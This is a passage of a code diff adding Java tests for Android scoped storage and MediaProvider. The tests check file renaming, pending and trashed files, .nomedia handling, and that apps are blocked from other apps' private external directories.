+ final ContentResolver cr = getContentResolver();
+
+ try {
+ assertThat(imageFile.createNewFile()).isTrue();
+ final long oldRowId = getFileRowIdFromDatabase(imageFile);
+ assertThat(oldRowId).isNotEqualTo(-1);
+ final Uri uriOfOldFile = MediaStore.scanFile(cr, imageFile);
+ assertThat(uriOfOldFile).isNotNull();
+
+ assertThat(imageFile.delete()).isTrue();
+ // We should restore old row Id corresponding to deleted imageFile.
+ assertThat(imageFile.createNewFile()).isTrue();
+ assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(oldRowId);
+ try (ParcelFileDescriptor pfd = cr.openFileDescriptor(uriOfOldFile, "rw")) {
+ assertThat(pfd).isNotNull();
+ }
+
+
+ assertThat(imageFile.delete()).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, imageFile.getAbsolutePath())).isTrue();
+
+ final Uri uriOfNewFile = MediaStore.scanFile(getContentResolver(), imageFile);
+ assertThat(uriOfNewFile).isNotNull();
+ // We shouldn't restore deleted row Id if delete & create are called from different apps
+ assertThat(Integer.getInteger(uriOfNewFile.getLastPathSegment()))
+ .isNotEqualTo(oldRowId);
+ } finally {
+ imageFile.delete();
+ deleteFileAsNoThrow(APP_B_NO_PERMS, imageFile.getAbsolutePath());
+ }
+ }
+
+ /**
+ * Test that row ID corresponding to deleted path is restored on subsequent rename.
+ */
+ @Test
+ public void testRenameCanRestoreDeletedRowId() throws Exception {
+ final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File temporaryFile = new File(getDownloadDir(), IMAGE_FILE_NAME + "_.tmp");
+ final ContentResolver cr = getContentResolver();
+
+ try {
+ assertThat(imageFile.createNewFile()).isTrue();
+ final Uri oldUri = MediaStore.scanFile(cr, imageFile);
+ assertThat(oldUri).isNotNull();
+
+ Files.copy(imageFile, temporaryFile);
+ assertThat(imageFile.delete()).isTrue();
+ assertCanRenameFile(temporaryFile, imageFile);
+
+ final Uri newUri = MediaStore.scanFile(cr, imageFile);
+ assertThat(newUri).isNotNull();
+ assertThat(newUri.getLastPathSegment()).isEqualTo(oldUri.getLastPathSegment());
+ // oldUri of imageFile is still accessible after delete and rename.
+ try (ParcelFileDescriptor pfd = cr.openFileDescriptor(oldUri, "rw")) {
+ assertThat(pfd).isNotNull();
+ }
+ } finally {
+ imageFile.delete();
+ temporaryFile.delete();
+ }
+ }
+
+ @Test
+ public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
+ File invalidFile = new File(getDownloadDir(), "<>");
+ File validFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ try {
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ invalidFile.createNewFile();
+ });
+
+ assertThat(validFile.createNewFile()).isTrue();
+ // We can't rename a file to a file name with invalid FAT characters.
+ assertCantRenameFile(validFile, invalidFile);
+ } finally {
+ invalidFile.delete();
+ validFile.delete();
+ }
+ }
+
+ @Test
+ public void testRenameWithSpecialChars() throws Exception {
+ final String specialCharsSuffix = "'`~!@#$%^& ()_+-={}[];'.)";
+
+ final File fileSpecialChars =
+ new File(getDownloadDir(), NONMEDIA_FILE_NAME + specialCharsSuffix);
+
+ final File dirSpecialChars =
+ new File(getDownloadDir(), TEST_DIRECTORY_NAME + specialCharsSuffix);
+ final File file1 = new File(dirSpecialChars, NONMEDIA_FILE_NAME);
+ final File fileSpecialChars1 =
+ new File(dirSpecialChars, NONMEDIA_FILE_NAME + specialCharsSuffix);
+
+ final File renamedDir = new File(getDocumentsDir(), TEST_DIRECTORY_NAME);
+ final File file2 = new File(renamedDir, NONMEDIA_FILE_NAME);
+ final File fileSpecialChars2 =
+ new File(renamedDir, NONMEDIA_FILE_NAME + specialCharsSuffix);
+ try {
+ assertTrue(fileSpecialChars.createNewFile());
+ if (!dirSpecialChars.exists()) {
+ assertTrue(dirSpecialChars.mkdir());
+ }
+ assertTrue(file1.createNewFile());
+
+ // We can rename file name with special characters
+ assertCanRenameFile(fileSpecialChars, fileSpecialChars1);
+
+ // We can rename directory name with special characters
+ assertCanRenameDirectory(dirSpecialChars, renamedDir,
+ new File[] {file1, fileSpecialChars1}, new File[] {file2, fileSpecialChars2});
+ } finally {
+ file1.delete();
+ file2.delete();
+ fileSpecialChars.delete();
+ fileSpecialChars1.delete();
+ fileSpecialChars2.delete();
+ deleteRecursively(dirSpecialChars);
+ deleteRecursively(renamedDir);
+ }
+ }
+
+ /**
+ * Test that IS_PENDING is set for files created via filepath
+ */
+ @Test
+ public void testPendingFromFuse() throws Exception {
+ final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ try {
+ assertTrue(pendingFile.createNewFile());
+ // Newly created file should have IS_PENDING set
+ try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+ assertTrue(c.moveToFirst());
+ assertThat(c.getInt(0)).isEqualTo(1);
+ }
+
+ // If we query with MATCH_EXCLUDE, we should still see this pendingFile
+ try (Cursor c = queryFileExcludingPending(pendingFile,
+ MediaStore.MediaColumns.IS_PENDING)) {
+ assertThat(c.getCount()).isEqualTo(1);
+ assertTrue(c.moveToFirst());
+ assertThat(c.getInt(0)).isEqualTo(1);
+ }
+
+ assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
+
+ // IS_PENDING should be unset after the scan
+ try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+ assertTrue(c.moveToFirst());
+ assertThat(c.getInt(0)).isEqualTo(0);
+ }
+
+ assertCreateFilesAs(APP_A_HAS_RES, otherPendingFile);
+ // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
+ try (Cursor c = queryFileExcludingPending(otherPendingFile,
+ MediaStore.MediaColumns.IS_PENDING)) {
+ assertThat(c.getCount()).isEqualTo(0);
+ }
+ } finally {
+ pendingFile.delete();
+ deleteFileAsNoThrow(APP_A_HAS_RES, otherPendingFile.getAbsolutePath());
+ }
+ }
+
+ /**
+ * Test that we don't allow renaming to top level directory
+ */
+ @Test
+ public void testCantRenameToTopLevelDirectory() throws Exception {
+ final File topLevelDir1 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_1");
+ final File topLevelDir2 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_2");
+ final File nonTopLevelDir = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+ try {
+ createDirectoryAsLegacyApp(topLevelDir1);
+ assertTrue(topLevelDir1.exists());
+
+ // We can't rename a top level directory to a top level directory
+ assertCantRenameDirectory(topLevelDir1, topLevelDir2, null);
+
+ // However, we can rename a top level directory to non-top level directory.
+ assertCanRenameDirectory(topLevelDir1, nonTopLevelDir, null, null);
+
+ // We can't rename a non-top level directory to a top level directory.
+ assertCantRenameDirectory(nonTopLevelDir, topLevelDir2, null);
+ } finally {
+ deleteRecursivelyAsLegacyApp(topLevelDir1);
+ deleteRecursivelyAsLegacyApp(topLevelDir2);
+ deleteRecursively(nonTopLevelDir);
+ }
+ }
+
+ @Test
+ public void testCanCreateDefaultDirectory() throws Exception {
+ final File podcastsDir = getPodcastsDir();
+ try {
+ if (podcastsDir.exists()) {
+ deleteRecursivelyAsLegacyApp(podcastsDir);
+ }
+ assertThat(podcastsDir.mkdir()).isTrue();
+ } finally {
+ createDirectoryAsLegacyApp(podcastsDir);
+ }
+ }
+
+ /**
+ * b/168830497: Test that app can write to file in DCIM/Camera even with .nomedia presence
+ */
+ @Test
+ public void testCanWriteToDCIMCameraWithNomedia() throws Exception {
+ final File cameraDir = new File(getDcimDir(), "Camera");
+ final File nomediaFile = new File(cameraDir, ".nomedia");
+ Uri targetUri = null;
+
+ try {
+ // Recreate required file and directory
+ if (cameraDir.exists()) {
+ // This is a work around to address a known inode cache inconsistency issue
+ // that occurs when test runs for the second time.
+ deleteRecursivelyAsLegacyApp(cameraDir);
+ }
+
+ createDirectoryAsLegacyApp(cameraDir);
+ assertTrue(cameraDir.exists());
+
+ createFileAsLegacyApp(nomediaFile);
+ assertTrue(nomediaFile.exists());
+
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH, "DCIM/Camera");
+ targetUri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+ assertNotNull(targetUri);
+
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(targetUri, "w")) {
+ assertThat(pfd).isNotNull();
+ Os.write(pfd.getFileDescriptor(), ByteBuffer.wrap(BYTES_DATA1));
+ }
+
+ assertFileContent(new File(getFilePathFromUri(targetUri)), BYTES_DATA1);
+ } finally {
+ deleteWithMediaProviderNoThrow(targetUri);
+ deleteAsLegacyApp(nomediaFile);
+ deleteRecursivelyAsLegacyApp(cameraDir);
+ }
+ }
+
+ /**
+ * b/182479650: Test that Screenshots directory is not hidden because of .nomedia presence
+ */
+ @Test
+ public void testNoMediaDoesntHideSpecialDirectories() throws Exception {
+ for (File directory : new File [] {
+ getDcimDir(),
+ getDownloadDir(),
+ new File(getDcimDir(), "Camera"),
+ new File(getPicturesDir(), Environment.DIRECTORY_SCREENSHOTS),
+ new File(getMoviesDir(), Environment.DIRECTORY_SCREENSHOTS),
+ new File(getExternalStorageDir(), Environment.DIRECTORY_SCREENSHOTS)
+ }) {
+ assertNoMediaDoesntHideSpecialDirectories(directory);
+ }
+ }
+
+ private void assertNoMediaDoesntHideSpecialDirectories(File directory) throws Exception {
+ final File nomediaFile = new File(directory, ".nomedia");
+ final File videoFile = new File(directory, VIDEO_FILE_NAME);
+ Log.d(TAG, "Directory " + directory);
+
+ try {
+ // Recreate required file and directory
+ if (!directory.exists()) {
+ Log.d(TAG, "mkdir directory " + directory);
+ createDirectoryAsLegacyApp(directory);
+ }
+ assertWithMessage("Exists " + directory).that(directory.exists()).isTrue();
+
+ Log.d(TAG, "CreateFileAs " + nomediaFile);
+ createFileAsLegacyApp(nomediaFile);
+ assertWithMessage("Exists " + nomediaFile).that(nomediaFile.exists()).isTrue();
+
+ createFileAsLegacyApp(videoFile);
+ assertWithMessage("Exists " + videoFile).that(videoFile.exists()).isTrue();
+ final Uri targetUri = MediaStore.scanFile(getContentResolver(), videoFile);
+ assertWithMessage("Scan result for " + videoFile).that(targetUri)
+ .isNotNull();
+
+ assertWithMessage("Uri path segment for " + targetUri)
+ .that(targetUri.getPathSegments()).contains("video");
+
+ // Verify that the imageFile is not hidden because of .nomedia presence
+ assertWithMessage("Query as other app ")
+ .that(canQueryOnUri(APP_A_HAS_RES, targetUri)).isTrue();
+ } finally {
+ deleteAsLegacyApp(videoFile);
+ deleteAsLegacyApp(nomediaFile);
+ deleteRecursivelyAsLegacyApp(directory);
+ }
+ }
+
+ /**
+ * Test that readdir lists unsupported file types in default directories.
+ */
+ @Test
+ public void testListUnsupportedFileType() throws Exception {
+ final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
+ final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
+ try {
+ // TEST_APP_A with storage permission should not see pdf file in DCIM
+ createFileAsLegacyApp(pdfFile);
+ assertThat(pdfFile.exists()).isTrue();
+ assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
+
+ assertThat(listAs(APP_A_HAS_RES, getDcimDir().getPath()))
+ .doesNotContain(NONMEDIA_FILE_NAME);
+
+ createFileAsLegacyApp(videoFile);
+ // We don't insert files to db for files created by shell.
+ assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
+ // TEST_APP_A with storage permission should see video file in Music directory.
+ assertThat(listAs(APP_A_HAS_RES, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
+ } finally {
+ deleteAsLegacyApp(pdfFile);
+ deleteAsLegacyApp(videoFile);
+ MediaStore.scanFile(getContentResolver(), pdfFile);
+ MediaStore.scanFile(getContentResolver(), videoFile);
+ }
+ }
+
+ /**
+ * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
+ */
+ @Test
+ public void testCantAccessOtherAppsExternalDirs() throws Exception {
+ File[] obbDirs = getContext().getObbDirs();
+ File[] dataDirs = getContext().getExternalFilesDirs(null);
+ for (File obbDir : obbDirs) {
+ final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
+ THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+ final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+ assertCannotReadOrWrite(file);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+ }
+ }
+ for (File dataDir : dataDirs) {
+ final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
+ THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+ final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+ assertCannotReadOrWrite(file);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+ }
+ }
+ }
+
+ /**
+ * Test that apps can't set attributes on another app's files.
+ */
+ @Test
+ public void testCantSetAttrOtherAppsFile() throws Exception {
+ // This path's permission is checked in MediaProvider (directory/external media dir)
+ final File externalMediaPath = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
+
+ try {
+ // Create the files
+ if (!externalMediaPath.exists()) {
+ assertThat(externalMediaPath.createNewFile()).isTrue();
+ }
+
+ // APP A should not be able to setattr to other app's files.
+ assertWithMessage(
+ "setattr on directory/external media path [%s]", externalMediaPath.getPath())
+ .that(setAttrAs(APP_A_HAS_RES, externalMediaPath.getPath()))
+ .isFalse();
+ } finally {
+ externalMediaPath.delete();
+ }
+ }
+
+ /**
+ * b/171768780: Test that scan doesn't skip scanning renamed hidden file.
+ */
+ @Test
+ public void testScanUpdatesMetadataForRenamedHiddenFile() throws Exception {
+ final File hiddenFile = new File(getPicturesDir(), ".hidden_" + IMAGE_FILE_NAME);
+ final File jpgFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ try {
+ // Copy the image content to hidden file
+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.img_with_metadata);
+ FileOutputStream out = new FileOutputStream(hiddenFile)) {
+ FileUtils.copy(in, out);
+ out.getFD().sync();
+ }
+ Uri scanUri = MediaStore.scanFile(getContentResolver(), hiddenFile);
+ assertNotNull(scanUri);
+
+ // Rename hidden file to non-hidden
+ assertCanRenameFile(hiddenFile, jpgFile);
+
+ try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+ assertTrue(c.moveToFirst());
+ // The file is not scanned yet, hence the metadata is not updated yet.
+ assertThat(c.getString(0)).isNull();
+ }
+
+ // Scan the file to update the metadata for renamed hidden file.
+ scanUri = MediaStore.scanFile(getContentResolver(), jpgFile);
+ assertNotNull(scanUri);
+
+ // Scan should be able to update metadata even if File.lastModifiedTime hasn't changed.
+ try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+ assertTrue(c.moveToFirst());
+ assertThat(c.getString(0)).isNotNull();
+ }
+ } finally {
+ hiddenFile.delete();
+ jpgFile.delete();
+ }
+ }
+
+ /**
+ * Tests that System Gallery apps cannot insert files in other app's private directories.
+ */
+ @Test
+ public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Tests that System Gallery apps cannot update files in other app's private directories.
+ */
+ @Test
+ public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME,
+ /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME);
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
+ @Test
+ public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ }
+
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
+ @Test
+ public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ }
+
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
+ @Test
+ public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * This test is for operations to the calling app's own private packages.
+ */
+ @Test
+ public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testDeferredScanHidesPartialDatabaseRows() throws Exception {
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.IS_PENDING, 1);
+ // Insert a pending row
+ final Uri targetUri = getContentResolver().insert(getImageContentUri(), values, null);
+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.img_with_metadata)) {
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(targetUri, "w")) {
+ // Write image content to the file
+ FileUtils.copy(in, new ParcelFileDescriptor.AutoCloseOutputStream(pfd));
+ }
+ }
+
+ // Verify that metadata is not updated yet.
+ try (Cursor c = getContentResolver().query(targetUri, new String[] {
+ MediaStore.Images.ImageColumns.DATE_TAKEN}, null, null)) {
+ assertThat(c.moveToFirst()).isTrue();
+ assertThat(c.getString(0)).isNull();
+ }
+ // Get file path to use in the next query().
+ final String imageFilePath = getFilePathFromUri(targetUri);
+
+ values.put(MediaStore.MediaColumns.IS_PENDING, 0);
+ Bundle extras = new Bundle();
+ extras.putBoolean(MediaStore.QUERY_ARG_DEFER_SCAN, true);
+ // Publish the file, but, defer the scan on update().
+ assertThat(getContentResolver().update(targetUri, values, extras)).isEqualTo(1);
+
+ // The update() above can return before scanning is complete. Verify that either we don't
+ // see the file in published files or if the file appears in the collection, it means that
+ // deferred scan is now complete, hence verify metadata is intact.
+ try (Cursor c = getContentResolver().query(getImageContentUri(),
+ new String[] {MediaStore.Images.ImageColumns.DATE_TAKEN},
+ MediaStore.Files.FileColumns.DATA + "=?", new String[] {imageFilePath}, null)) {
+ if (c.getCount() == 1) {
+ // If the file appears in media collection as published file, verify that metadata
+ // is correct.
+ assertThat(c.moveToFirst()).isTrue();
+ assertThat(c.getString(0)).isNotNull();
+ Log.i(TAG, "Verified that deferred scan on " + imageFilePath + " is complete"
+ + " and hence metadata is updated");
+
+ } else {
+ assertThat(c.getCount()).isEqualTo(0);
+ Log.i(TAG, "Verified that " + imageFilePath + " was excluded in default query");
+ }
+ }
+ }
+
+ /**
+ * Test that renaming a file to {@link Environment#DIRECTORY_RINGTONES} sets
+ * {@link MediaStore.Audio.AudioColumns#IS_RINGTONE}
+ */
+
+ @Test
+ public void testRenameToRingtoneDirectory() throws Exception {
+ final File fileInDownloads = new File(getDownloadDir(), AUDIO_FILE_NAME);
+ final File fileInRingtones = new File(getRingtonesDir(), AUDIO_FILE_NAME);
+
+ try {
+ assertThat(fileInDownloads.createNewFile()).isTrue();
+ assertThat(MediaStore.scanFile(getContentResolver(), fileInDownloads)).isNotNull();
+
+ assertCanRenameFile(fileInDownloads, fileInRingtones);
+
+ try (Cursor c = queryAudioFile(fileInRingtones,
+ MediaStore.Audio.AudioColumns.IS_RINGTONE)) {
+ assertTrue(c.moveToFirst());
+ assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE
+ + " to be set after renaming to " + fileInRingtones)
+ .that(c.getInt(0)).isEqualTo(1);
+ }
+
+ assertCanRenameFile(fileInRingtones, fileInDownloads);
+
+ try (Cursor c = queryAudioFile(fileInDownloads,
+ MediaStore.Audio.AudioColumns.IS_RINGTONE)) {
+ assertTrue(c.moveToFirst());
+ assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE
+ + " to be unset after renaming to " + fileInDownloads)
+ .that(c.getInt(0)).isEqualTo(0);
+ }
+ } finally {
+ fileInDownloads.delete();
+ fileInRingtones.delete();
+ }
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTransformsDirFileOperations() throws Exception {
+ final String path = Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_DIR;
+ final File file = new File(path);
+ assertThat(file.exists()).isTrue();
+ testTransformsDirCommon(file);
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTransformsSyntheticDirFileOperations() throws Exception {
+ final String path =
+ Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_SYNTHETIC_DIR;
+ final File file = new File(path);
+ assertThat(file.exists()).isTrue();
+ testTransformsDirCommon(file);
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTransformsTranscodeDirFileOperations() throws Exception {
+ final String path =
+ Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_TRANSCODE_DIR;
+ final File file = new File(path);
+ assertThat(file.exists()).isFalse();
+ testTransformsDirCommon(file);
+ }
+
+
+ /**
+ * Test mount modes for a platform signed app with ACCESS_MTP permission.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testMTPAppWithPlatformSignatureMountMode() throws Exception {
+ final String shellPackageName = "com.android.shell";
+ final int uid = getContext().getPackageManager().getPackageUid(shellPackageName, 0);
+ assertMountMode(shellPackageName, uid, StorageManager.MOUNT_MODE_EXTERNAL_ANDROID_WRITABLE);
+ }
+
+ /**
+ * Test mount modes for ExternalStorageProvider and DownloadsProvider.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testExternalStorageProviderAndDownloadsProvider() throws Exception {
+ // External Storage Provider and Downloads Provider are not supported on Wear OS
+ if (FeatureUtil.isWatch()) {
+ return;
+ }
+ assertWritableMountModeForProvider(DocumentsContract.EXTERNAL_STORAGE_PROVIDER_AUTHORITY);
+ assertWritableMountModeForProvider(DocumentsContract.DOWNLOADS_PROVIDER_AUTHORITY);
+ }
+
+ /**
+ * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
+ */
+ @Test
+ public void testCantProbeOtherAppsExternalDirs() throws Exception {
+ // Before fuse-bpf, apps could see other app's external storage
+ boolean expectToSee = !isFuseBpfEnabled()
+ && mVolumeName.equals(MediaStore.VOLUME_EXTERNAL);
+ String message = expectToSee
+ ? "Expected to see other app's private dirs"
+ : "Expected not to see other app's private dirs";
+
+ assertWithMessage(message)
+ .that(fileExistsAs(APP_B_NO_PERMS, new File(getExternalFilesDir().getParent())))
+ .isEqualTo(expectToSee);
+
+ assertWithMessage(message)
+ .that(fileExistsAs(APP_B_NO_PERMS, getExternalObbDir()))
+ .isEqualTo(expectToSee);
+ }
+
+ private boolean isFuseBpfEnabled() throws Exception {
+ return executeShellCommand("getprop ro.fuse.bpf.is_running").trim().equals("true");
+ }
+
+ private void assertWritableMountModeForProvider(String auth) {
+ final ProviderInfo provider = getContext().getPackageManager()
+ .resolveContentProvider(auth, 0);
+ int uid = provider.applicationInfo.uid;
+ final String packageName = provider.applicationInfo.packageName;
+
+ assertMountMode(packageName, uid, StorageManager.MOUNT_MODE_EXTERNAL_ANDROID_WRITABLE);
+ }
+
+ private boolean canRenameFile(File file) {
+ return file.renameTo(new File(file.getAbsolutePath() + "test"));
+ }
+
+ private void testTransformsDirCommon(File file) throws Exception {
+ assertThat(file.delete()).isFalse();
+ assertThat(canRenameFile(file)).isFalse();
+
+ final File newFile = new File(file.getAbsolutePath(), "test");
+ assertThat(newFile.mkdir()).isFalse();
+ assertThrows(IOException.class, () -> newFile.createNewFile());
+ }
+
+ private void assertCanWriteAndRead(File file, byte[] data) throws Exception {
+ // Assert we can write to images/videos
+ try (FileOutputStream fos = new FileOutputStream(file)) {
+ fos.write(data);
+ }
+ assertFileContent(file, data);
+ }
+
+ /**
+ * Checks restrictions for opening pending and trashed files by different apps. Assumes that
+ * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
+ * method doesn't uninstall given {@code testApp} at the end.
+ */
+ private void assertOpenPendingOrTrashed(Uri uri, boolean isImageOrVideo)
+ throws Exception {
+ final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+ // App can open its pending or trashed file for read or write
+ assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
+ assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
+
+ // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
+ // write
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+
+ assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ false));
+ assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ true));
+
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+ try {
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ if (isImageOrVideo) {
+ // System Gallery can open any pending or trashed image/video file for read or write
+ assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+ assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+ assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+ } else {
+ // System Gallery can't open other app's pending or trashed non-media file for read
+ // or write
+ assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+ }
+ } finally {
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Checks restrictions for listing pending and trashed files by different apps.
+ */
+ private void assertListPendingOrTrashed(Uri uri, File file, boolean isImageOrVideo)
+ throws Exception {
+ final String parentDirPath = file.getParent();
+ assertTrue(new File(parentDirPath).isDirectory());
+
+ final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
+ assertThat(listedFileNames).doesNotContain(file);
+
+ final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+ assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
+
+ // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
+ assertThat(listAs(APP_A_HAS_RES, parentDirPath)).doesNotContain(
+ pendingOrTrashedFile.getName());
+
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+ // File Manager can see any pending or trashed file.
+ assertThat(listAs(APP_FM, parentDirPath)).contains(pendingOrTrashedFile.getName());
+
+
+ try {
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ if (isImageOrVideo) {
+ // System Gallery can see any pending or trashed image/video file.
+ assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+ assertThat(listAs(APP_A_HAS_RES, parentDirPath)).contains(
+ pendingOrTrashedFile.getName());
+ } else {
+ // System Gallery can't see other app's pending or trashed non media file.
+ assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+ assertThat(listAs(APP_A_HAS_RES, parentDirPath))
+ .doesNotContain(pendingOrTrashedFile.getName());
+ }
+ } finally {
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ private Uri createPendingFile(File pendingFile) throws Exception {
+ assertTrue(pendingFile.createNewFile());
+
+ final ContentResolver cr = getContentResolver();
+ final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
+ assertNotNull(trashedFileUri);
+
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.IS_PENDING, 1);
+ assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
+
+ return trashedFileUri;
+ }
+
+ private Uri createTrashedFile(File trashedFile) throws Exception {
+ assertTrue(trashedFile.createNewFile());
+
